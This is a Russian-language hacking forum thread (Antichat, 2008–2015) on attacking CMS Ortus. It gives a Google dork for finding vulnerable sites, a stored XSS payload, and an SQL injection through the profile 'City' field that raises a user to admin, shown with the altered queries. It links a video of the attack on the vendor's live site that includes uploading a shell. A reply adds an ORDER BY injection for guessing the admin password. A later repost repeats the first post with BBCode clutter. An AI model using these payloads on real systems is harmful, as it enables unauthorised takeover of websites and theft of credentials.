Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   SQL инъекция в CMS Ortus (https://forum.antichat.xyz/showthread.php?t=93768)

otmorozok428 27.11.2008 15:22

SQL инъекция в CMS Ortus
 
На днях занимался исследованием CMS Ortus. Нашёл серьёзную уязвимость, заодно подучил латынь. Теперь, знаю что Ortus по латыни означает "рассвет". Короче, век живи - век учись, как говорил Цицерон :)

Сайт вендора: http://ortus.nirn.ru

Уязвимые версии: 1.12, 1.13

Гуглится так: inurl:index.php?ortupg=

Уязвимость присутствует в формах добавления пользователя и редактирования профиля, в поле "City".

Рассмотрим по порядку:

1. Зарегистрируем нового пользователя
Код HTML:

http://www.site.com/index.php?mod=users_add
Данные из POST-формы будут помещены в следующий SQL-запрос
PHP код:

INSERT INTO ortus_users SET id_user NULLname 'pupkin'login 'pupkin'psw md5('12345'), `group` = 'user', `city` = 'Moscow', `info` = '', `email` = 'pupkin@zade.com', `reg_date` = NOW(), `activated` = 'no', `subscribe` = 'yes' 

А поскольку параметр "City" не фильтруется, можно пробовать изменять запрос под свои нужды. Правда, максимум, что мне удалось выжать из данной формы - это активную XSS после вставки в поле "City"
PHP код:

<script>alert()</script

что в принципе тоже достаточно нефигово, но идём дальше...

2. Аутентифицируемся на сайте
Код HTML:

http://www.site.com/index.php?mod=auth
3. Редактируем профиль пользователя
Код HTML:

http://www.site.com/index.php?mod=users_edit_pub
Обновление профиля пользователя производится запросом
PHP код:

UPDATE ortus_users SET `name` = 'pupkin', `info` = '', `city` = 'Moscow', `email` = 'pupkin@zade.com', `subscribe` = 'yes' WHERE id_user 

Мы можем видоизменить данный запрос вставив
PHP код:

MyCity', `group`='admin 

в поле "City". То есть наш запрос стал выглядеть так
PHP код:

UPDATE ortus_users SET `name` = 'pupkin', `info` = '', `city` = 'MyCity', `group`='admin', `email` = 'pupkin@zade.com', `subscribe` = 'yes' WHERE id_user 

Пользователь pupkin был членом группы user, а стал членом группы admin. Убедиться в этом можно посмотрев список пользователей
Код HTML:

http://www.site.com/index.php?mod=users_list_pub
4. Видео-урок

Видео-урок показывает практическую эксплуатацию данной уязвимости + не упомянутый выше вопрос заливки шелла. Демонстрация уязвимости производится на примере официального сайта CMS Ortus. Особо хочу отметить, что видео носит исключительно образовательный характер и никаких деструктивных действий на сайте не производилось. За косяки третьих лиц автор ответственности не несёт! Само видео льём отсюда:

http://depositfiles.com/files/h8sbwikey

BuG_4F 27.11.2008 15:42

Отлично, и понятно :)
+ однозначно !

l1ght 16.12.2008 13:37

сегодня тоже пришлось столкнуться с этой цмс, опубликованную otmorozok428 багу закрыли на сл же день:
Цитата:

28 ноября 2008
Взлом сайта CMS Ortus. SQL-инъекция.
Сегодня был взломан сайт CMS Ortus (и сама система тоже). SQL-инъекция.
Злоумышленник воспользовался опечаткой в коде модуля смены пользовательского профиля
Цитата:

28 ноября 2008
CMS Ortus 1.13.1 Исправлена уязвимость в модуле редактирования пользовательского профиля.
+ ни одна из переменных на сайте не пропускает спецсимволы, пришлось немного повозиться, но все же бага нашлась)
для переменной $sort в скрипте просмотра существующих пользователей не задается фиксированный набор значений
и обратившись к _ortus.nirn.ru/index.php?mod=users_list_pub&sort=lalala
появляется ключевая ошибка: Unknown column 'lalala' in 'order clause'
качаем двиг узнаем нужную нам колонку:
Цитата:

CREATE TABLE `users` (
`id_user` int(32) NOT NULL auto_increment,
`name` tinytext NOT NULL,
`login` tinytext,
`psw` tinytext,
...
сортируем список по найденной колонке _ortus.nirn.ru/index.php?mod=users_list_pub&sort=psw
и подбираем пароль админа как в обычной сортировочной sql inj. , т.е. методом создания новых пользователей ;)

YouReTs 28.07.2015 23:28

Цитата:

Сообщение от otmorozok428
otmorozok428 said:

На днях занимался исследованием
CMS Ortus
. Нашёл серьёзную уязвимость, заодно подучил латынь. Теперь, знаю что Ortus по латыни означает "рассвет". Короче, век живи - век учись, как говорил Цицерон
Сайт вендора: http://ortus.nirn.ru
Уязвимые версии: 1.12, 1.13
Гуглится так: inurl:index.php?ortupg=
Уязвимость присутствует в формах добавления пользователя и редактирования профиля, в поле
"City"
.
Рассмотрим по порядку:
1. Зарегистрируем нового пользователя
Код HTML:

HTML:
http://www.site.com/index.php?mod=users_add

Данные из POST-формы будут помещены в следующий SQL-запрос
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]INSERT INTO ortus_users SET id_user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'pupkin'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'pupkin'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]psw[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'12345'[/COLOR][COLOR="#007700"]), `[/COLOR][COLOR="#DD0000"]group[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'user'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]city[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'Moscow'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]info[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]email[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'pupkin@zade.com'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]reg_date[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#0000BB"]NOW[/COLOR][COLOR="#007700"](), `[/COLOR][COLOR="#DD0000"]activated[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'no'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]subscribe[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'yes'[/COLOR][/COLOR

А поскольку параметр
"City"
не фильтруется, можно пробовать изменять запрос под свои нужды. Правда, максимум, что мне удалось выжать из данной формы - это активную XSS после вставки в поле
"City"
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]()[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR

что в принципе тоже достаточно нефигово, но идём дальше...
2. Аутентифицируемся на сайте
Код HTML:

HTML:
http://www.site.com/index.php?mod=auth

3. Редактируем профиль пользователя
Код HTML:

HTML:
http://www.site.com/index.php?mod=users_edit_pub

Обновление профиля пользователя производится запросом
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]UPDATE ortus_users SET[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]name[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'pupkin'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]info[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]city[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'Moscow'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]email[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'pupkin@zade.com'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]subscribe[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'yes'[/COLOR][COLOR="#0000BB"]WHERE id_user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]7[/COLOR][/COLOR

Мы можем видоизменить данный запрос вставив
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]MyCity[/COLOR][COLOR="#DD0000"]', `group`='[/COLOR][COLOR="#0000BB"]admin[/COLOR][/COLOR

в поле
"City"
. То есть наш запрос стал выглядеть так
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]UPDATE ortus_users SET[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]name[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'pupkin'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]info[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]city[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'MyCity'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]group[/COLOR][COLOR="#007700"]`=[/COLOR][COLOR="#DD0000"]'admin'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]email[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'pupkin@zade.com'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]subscribe[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'yes'[/COLOR][COLOR="#0000BB"]WHERE id_user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]7[/COLOR][/COLOR

Пользователь
pupkin
был членом группы
user
, а стал членом группы
admin
. Убедиться в этом можно посмотрев список пользователей
Код HTML:

HTML:
http://www.site.com/index.php?mod=users_list_pub

4. Видео-урок
Видео-урок показывает практическую эксплуатацию данной уязвимости + не упомянутый выше вопрос заливки шелла. Демонстрация уязвимости производится на примере официального сайта
CMS Ortus
. Особо хочу отметить, что видео носит исключительно образовательный характер и никаких деструктивных действий на сайте не производилось. За косяки третьих лиц автор ответственности не несёт! Само видео льём отсюда:
http://depositfiles.com/files/h8sbwikey

Видео-урок перезалейте пожалуйста, ссылка битая, интересно посмотреть


Время: 04:39